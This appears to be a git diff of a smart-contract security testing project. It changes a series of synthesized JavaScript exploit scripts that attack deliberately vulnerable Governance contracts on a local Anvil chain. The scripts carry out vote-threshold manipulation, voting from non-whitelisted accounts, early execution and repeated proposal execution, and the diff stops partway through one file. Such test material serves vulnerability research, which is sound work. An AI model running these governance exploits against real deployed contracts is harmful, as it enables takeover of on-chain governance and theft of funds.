ID: ${proposalId}`); - // Exploit the fact that voting counts are not correctly bounded - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); + // Wait for review period and voting period to end + governanceExploitLogger.debug(`Waiting for review and voting period to end: sleeping for 10 seconds!`); + await sleep(10000); - // Repeat voting from the same account multiple times - for (let i = 1; i <= 3; i++) { + // Step 2: Vote on the proposal to reach the threshold + for (let i = 0; i < 3; i++) { + console.log(`Voting on proposal ${proposalId}...`); await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], + from: envInfo.accounts[i], gas: 3000000 }); + await sleep(1000); } // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(10000); - - // Step 3: Execute the proposal - console.log("Executing the proposal..."); - const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - governanceExploitLogger.info(`I am successful!`) + await sleep(5000); + + // Step 3: Execute the proposal with privileged address and reset vote count + for (let i = 0; i < 3; i++) { + console.log(`Executing proposal ${proposalId} and resetting vote count for the ${i+1} time...`); + const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ + from: envInfo.privilegedAccount, // Use the privileged account address + gas: 3000000 + }); + governanceExploitLogger.info(`Proposal ${proposalId} executed and vote count reset ${i+1} times!`); + await sleep(1000); + } + return true; } catch (error) { console.error("Error in governance actions:", error); @@ -102,6 +106,7 @@ async function exploit(web3, envInfo, contractAddress) { module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil console.log(`contractAddress: ${contractAddress}`) + web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); // See if exploit has yielded the predicted result (a very manual oracle!) diff --git a/CI/exploits/synthesized/GovernanceExploit-22.js b/CI/exploits/synthesized/GovernanceExploit-22.js index 1c870c94..dce45e4a 100644 --- a/CI/exploits/synthesized/GovernanceExploit-22.js +++ b/CI/exploits/synthesized/GovernanceExploit-22.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); - +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let contractFileFullName = 'Governance-22' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,46 +36,44 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { // Load the ABI of the Governance contract + // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); - // Step 1: Create a proposal - let createResult = await contractInstance.methods.createProposal().send({ + // Step 1: Create a proposal with a very low vote threshold + console.log("Creating a proposal with a very low vote threshold..."); + let createResult = await contractInstance.methods.createProposal(1).send({ // Setting vote threshold to 1 from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; - governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); + const proposalId = 0; // let's always target the first proposal in the list; + governanceExploitLogger.debug(`Proposal created with ID: ${proposalId} and vote threshold of 1`); + + // Wait for review period to end + governanceExploitLogger.debug(`Waiting for review period to end: sleeping for 5 seconds!`); + await sleep(5000); - // Exploit the fact that voting counts are not correctly bounded + // Step 2: Vote on the proposal once to meet the low threshold + console.log(`Voting on proposal ${proposalId} once...`); await contractInstance.methods.vote(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - // Repeat voting from the same account multiple times - for (let i = 1; i <= 3; i++) { - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - } - // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(10000); - + await sleep(5000); + // Step 3: Execute the proposal - console.log("Executing the proposal..."); + console.log(`Executing proposal ${proposalId}...`); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`I am successful!`) + governanceExploitLogger.info(`Proposal ${proposalId} executed with a low vote threshold!`); + return true; } catch (error) { console.error("Error in governance actions:", error); @@ -102,6 +100,7 @@ async function exploit(web3, envInfo, contractAddress) { module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil console.log(`contractAddress: ${contractAddress}`) + web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); // See if exploit has yielded the predicted result (a very manual oracle!) diff --git a/CI/exploits/synthesized/GovernanceExploit-23.js b/CI/exploits/synthesized/GovernanceExploit-23.js index 1c870c94..27c3f3b2 100644 --- a/CI/exploits/synthesized/GovernanceExploit-23.js +++ b/CI/exploits/synthesized/GovernanceExploit-23.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); - +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let contractFileFullName = 'Governance-23' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,46 +36,47 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { // Load the ABI of the Governance contract + // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); - // Step 1: Create a proposal + // Step 1: Create a proposal by a privileged address + console.log("Creating a proposal by a privileged address..."); let createResult = await contractInstance.methods.createProposal().send({ - from: envInfo.accounts[0], + from: envInfo.privilegedAccount, // Use the privileged account address gas: 3000000 }); - const proposalId = 0; - governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); + const proposalId = 0; // let's always target the first proposal in the list; + governanceExploitLogger.debug(`Proposal created with ID: ${proposalId} by privileged address`); - // Exploit the fact that voting counts are not correctly bounded - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); + // Wait for review period to end + governanceExploitLogger.debug(`Waiting for review period to end: sleeping for 5 seconds!`); + await sleep(5000); - // Repeat voting from the same account multiple times - for (let i = 1; i <= 3; i++) { + // Step 2: Vote on the proposal with non-whitelisted addresses + for (let i = 0; i < 3; i++) { + console.log(`Voting on proposal ${proposalId} with non-whitelisted address...`); await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], + from: envInfo.nonWhitelistedAccounts[i], // Use non-whitelisted account addresses gas: 3000000 }); + await sleep(1000); } // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(10000); - + await sleep(5000); + // Step 3: Execute the proposal - console.log("Executing the proposal..."); + console.log(`Executing proposal ${proposalId}...`); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ - from: envInfo.accounts[0], + from: envInfo.privilegedAccount, // Use the privileged account address gas: 3000000 }); - governanceExploitLogger.info(`I am successful!`) + governanceExploitLogger.info(`Proposal ${proposalId} executed with votes from non-whitelisted addresses!`); + return true; } catch (error) { console.error("Error in governance actions:", error); @@ -87,6 +88,7 @@ async function exploit(web3, envInfo, contractAddress) { + /** * Executes the exploit and checks its result * @@ -102,6 +104,7 @@ async function exploit(web3, envInfo, contractAddress) { module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil console.log(`contractAddress: ${contractAddress}`) + web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); // See if exploit has yielded the predicted result (a very manual oracle!) diff --git a/CI/exploits/synthesized/GovernanceExploit-24.js b/CI/exploits/synthesized/GovernanceExploit-24.js index 1c870c94..449e3abf 100644 --- a/CI/exploits/synthesized/GovernanceExploit-24.js +++ b/CI/exploits/synthesized/GovernanceExploit-24.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); - +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let contractFileFullName = 'Governance-24' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,46 +36,44 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { // Load the ABI of the Governance contract + // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal + console.log("Creating a proposal..."); let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; + const proposalId = 0; // let's always target the first proposal in the list; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Exploit the fact that voting counts are not correctly bounded + // Wait for review period and voting period to end + governanceExploitLogger.debug(`Waiting for review and voting period to end: sleeping for 10 seconds!`); + await sleep(10000); + + // Step 2: Vote on the proposal but not reaching the default threshold + console.log(`Voting on proposal ${proposalId}...`); await contractInstance.methods.vote(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - // Repeat voting from the same account multiple times - for (let i = 1; i <= 3; i++) { - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - } - // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(10000); - - // Step 3: Execute the proposal - console.log("Executing the proposal..."); + await sleep(5000); + + // Step 3: Execute the proposal with privileged address and lower the vote threshold + console.log(`Executing proposal ${proposalId} and lowering vote threshold...`); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ - from: envInfo.accounts[0], + from: envInfo.privilegedAccount, // Use the privileged account address gas: 3000000 }); - governanceExploitLogger.info(`I am successful!`) + governanceExploitLogger.info(`Proposal ${proposalId} executed with dynamically lowered vote threshold!`); + return true; } catch (error) { console.error("Error in governance actions:", error); @@ -102,6 +100,7 @@ async function exploit(web3, envInfo, contractAddress) { module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil console.log(`contractAddress: ${contractAddress}`) + web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); // See if exploit has yielded the predicted result (a very manual oracle!) diff --git a/CI/exploits/synthesized/GovernanceExploit-25.js b/CI/exploits/synthesized/GovernanceExploit-25.js index 1c870c94..057e870c 100644 --- a/CI/exploits/synthesized/GovernanceExploit-25.js +++ b/CI/exploits/synthesized/GovernanceExploit-25.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); - +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let contractFileFullName = 'Governance-25' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,46 +36,33 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { // Load the ABI of the Governance contract + // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); - // Step 1: Create a proposal - let createResult = await contractInstance.methods.createProposal().send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - const proposalId = 0; - governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - - // Exploit the fact that voting counts are not correctly bounded - await contractInstance.methods.vote(proposalId).send({ + // Step 1: Create a proposal with an execution time set before the voting period ends + console.log("Creating a proposal with an execution time before the voting period ends..."); + const customExecutionTime = Math.floor(Date.now() / 1000) + 7; // 7 seconds from now, within the voting period + let createResult = await contractInstance.methods.createProposal(customExecutionTime).send({ from: envInfo.accounts[0], gas: 3000000 }); + const proposalId = 0; // let's always target the first proposal in the list; + governanceExploitLogger.debug(`Proposal created with ID: ${proposalId} and custom execution time of 7 seconds from now`); - // Repeat voting from the same account multiple times - for (let i = 1; i <= 3; i++) { - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - } + // Step 2: Execute the proposal before the voting period ends + console.log(`Waiting for execution time to be reached...`); + await sleep(8000); // Wait until custom execution time is reached - // Wait for grace period to finish - console.log("Waiting for grace period to end..."); - await sleep(10000); - - // Step 3: Execute the proposal - console.log("Executing the proposal..."); + console.log(`Executing proposal ${proposalId} before voting period ends...`); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`I am successful!`) + governanceExploitLogger.info(`Proposal ${proposalId} executed before the voting period ended!`); + return true; } catch (error) { console.error("Error in governance actions:", error); @@ -87,6 +74,7 @@ async function exploit(web3, envInfo, contractAddress) { + /** * Executes the exploit and checks its result * @@ -102,6 +90,7 @@ async function exploit(web3, envInfo, contractAddress) { module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil console.log(`contractAddress: ${contractAddress}`) + web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); // See if exploit has yielded the predicted result (a very manual oracle!) diff --git a/CI/exploits/synthesized/GovernanceExploit-3.js b/CI/exploits/synthesized/GovernanceExploit-3.js index 1c870c94..515a4c46 100644 --- a/CI/exploits/synthesized/GovernanceExploit-3.js +++ b/CI/exploits/synthesized/GovernanceExploit-3.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); - +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let contractFileFullName = 'Governance-3' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,11 +36,10 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { // Load the ABI of the Governance contract + // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal @@ -48,34 +47,24 @@ async function exploit(web3, envInfo, contractAddress) { from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; + await sleep(200); + const proposalId = 0; // let's always target the first proposal in the list; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Exploit the fact that voting counts are not correctly bounded - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); + // Wait for review period and voting period to end + governanceExploitLogger.debug(`Waiting for review and voting period to end: sleeping for 15 seconds!`); + await sleep(15000); - // Repeat voting from the same account multiple times - for (let i = 1; i <= 3; i++) { - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - } + // No votes are cast in this exploit - // Wait for grace period to finish - console.log("Waiting for grace period to end..."); - await sleep(10000); - - // Step 3: Execute the proposal - console.log("Executing the proposal..."); + // Step 2: Execute the proposal with an account that bypasses the vote count check + console.log("Executing the proposal with a privileged account..."); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ - from: envInfo.accounts[0], + from: envInfo.accounts[1], // Use an account other than 0x123 to bypass vote check gas: 3000000 }); - governanceExploitLogger.info(`I am successful!`) + await sleep(200); + governanceExploitLogger.info(`Exploit successful!`) return true; } catch (error) { console.error("Error in governance actions:", error); @@ -101,6 +90,7 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + web3 = await createLoggerWeb3(web3); console.log(`contractAddress: ${contractAddress}`) // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized/GovernanceExploit-4.js b/CI/exploits/synthesized/GovernanceExploit-4.js index 1c870c94..1fc6fe73 100644 --- a/CI/exploits/synthesized/GovernanceExploit-4.js +++ b/CI/exploits/synthesized/GovernanceExploit-4.js @@ -15,13 +15,13 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); - +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let contractFileFullName = 'Governance-4' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,46 +36,53 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { // Load the ABI of the Governance contract + // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); - // Step 1: Create a proposal - let createResult = await contractInstance.methods.createProposal().send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - const proposalId = 0; - governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - - // Exploit the fact that voting counts are not correctly bounded - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - - // Repeat voting from the same account multiple times - for (let i = 1; i <= 3; i++) { + // Step 1: Create multiple proposals in quick succession + console.log("Creating multiple proposals with overlapping voting periods..."); + for (let i = 0; i < 3; i++) { + let createResult = await contractInstance.methods.createProposal().send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + await sleep(200); + governanceExploitLogger.debug(`Proposal created with ID: ${i}`); + } + + const proposalIds = [0, 1, 2]; + + // Wait for review periods to end + governanceExploitLogger.debug(`Waiting for review periods to end: sleeping for 5 seconds...`); + await sleep(5000); + + // Step 2: Vote on all proposals + for (const proposalId of proposalIds) { + console.log(`Voting on proposal ${proposalId}...`); await contractInstance.methods.vote(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); + await sleep(200); } - // Wait for grace period to finish - console.log("Waiting for grace period to end..."); + // Wait for voting periods to end and grace periods to finish + console.log("Waiting for grace periods to end..."); await sleep(10000); - - // Step 3: Execute the proposal - console.log("Executing the proposal..."); - const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - governanceExploitLogger.info(`I am successful!`) + + // Step 3: Execute all proposals + for (const proposalId of proposalIds) { + console.log(`Executing proposal ${proposalId}...`); + const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + governanceExploitLogger.info(`Proposal ${proposalId} executed!`); + } + return true; } catch (error) { console.error("Error in governance actions:", error); @@ -101,6 +108,7 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + web3 = await createLoggerWeb3(web3); console.log(`contractAddress: ${contractAddress}`) // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized/GovernanceExploit-5.js b/CI/exploits/synthesized/GovernanceExploit-5.js index 1c870c94..eeba79b5 100644 --- a/CI/exploits/synthesized/GovernanceExploit-5.js +++ b/CI/exploits/synthesized/GovernanceExploit-5.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); - +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let contractFileFullName = 'Governance-5' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,11 +36,10 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { // Load the ABI of the Governance contract + // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal @@ -48,34 +47,39 @@ async function exploit(web3, envInfo, contractAddress) { from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; + await sleep(200); + const proposalId = 0; // let's always target the first proposal in the list; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Exploit the fact that voting counts are not correctly bounded - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); + // Wait for review period and voting period to end + governanceExploitLogger.debug(`Waiting for review and voting period to end: sleeping for 15 seconds!`); + await sleep(15000); - // Repeat voting from the same account multiple times - for (let i = 1; i <= 3; i++) { + // Step 2: Vote on the proposal to reach the threshold + for (let i = 0; i < 3; i++) { + console.log(`Voting on proposal ${proposalId}...`); await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], + from: envInfo.accounts[i], gas: 3000000 }); + await sleep(500); } // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(10000); - - // Step 3: Execute the proposal - console.log("Executing the proposal..."); - const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - governanceExploitLogger.info(`I am successful!`) + await sleep(5000); + + // Step 3: Execute the proposal multiple times + for (let i = 0; i < 3; i++) { + console.log(`Executing proposal ${proposalId} for the ${i+1} time...`); + const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + governanceExploitLogger.info(`Proposal ${proposalId} executed ${i+1} times!`); + await sleep(500); + } + return true; } catch (error) { console.error("Error in governance actions:", error); @@ -87,6 +91,8 @@ async function exploit(web3, envInfo, contractAddress) { + + /** * Executes the exploit and checks its result * @@ -101,6 +107,7 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + web3 = await createLoggerWeb3(web3); console.log(`contractAddress: ${contractAddress}`) // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized/GovernanceExploit-6.js b/CI/exploits/synthesized/GovernanceExploit-6.js index 1c870c94..841025ab 100644 --- a/CI/exploits/synthesized/GovernanceExploit-6.js +++ b/CI/exploits/synthesized/GovernanceExploit-6.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); - +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let contractFileFullName = 'Governance-6' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,46 +36,43 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { // Load the ABI of the Governance contract + // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); - // Step 1: Create a proposal + // Step 1: Create a proposal with zero review and voting durations + console.log("Creating a proposal with zero review and voting durations..."); let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; + await sleep(200); + const proposalId = 0; // let's always target the first proposal in the list; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Exploit the fact that voting counts are not correctly bounded + // No need to wait for review and voting periods since they are zero + + // Step 2: Vote on the proposal immediately + console.log(`Voting on proposal ${proposalId}...`); await contractInstance.methods.vote(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - // Repeat voting from the same account multiple times - for (let i = 1; i <= 3; i++) { - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - } - // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(10000); - + await sleep(5000); + // Step 3: Execute the proposal - console.log("Executing the proposal..."); + console.log(`Executing proposal ${proposalId}...`); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`I am successful!`) + governanceExploitLogger.info(`Proposal ${proposalId} executed!`); + return true; } catch (error) { console.error("Error in governance actions:", error); @@ -100,7 +97,8 @@ async function exploit(web3, envInfo, contractAddress) { * @throws {Error} If there's an error during the test execution. */ module.exports = async function runTests(web3, envInfo, contractAddress) { - // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + web3 = await createLoggerWeb3(web3); console.log(`contractAddress: ${contractAddress}`) // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized/GovernanceExploit-7.js b/CI/exploits/synthesized/GovernanceExploit-7.js index 1c870c94..c7c80433 100644 --- a/CI/exploits/synthesized/GovernanceExploit-7.js +++ b/CI/exploits/synthesized/GovernanceExploit-7.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); - +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let contractFileFullName = 'Governance-7' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,46 +36,46 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { // Load the ABI of the Governance contract + // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); - // Step 1: Create a proposal + // Step 1: Create a proposal with no grace period + console.log("Creating a proposal with no grace period..."); let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; + await sleep(200); + const proposalId = 0; // let's always target the first proposal in the list; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Exploit the fact that voting counts are not correctly bounded - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); + // Wait for review period and voting period to end + governanceExploitLogger.debug(`Waiting for review and voting period to end: sleeping for 10 seconds!`); + await 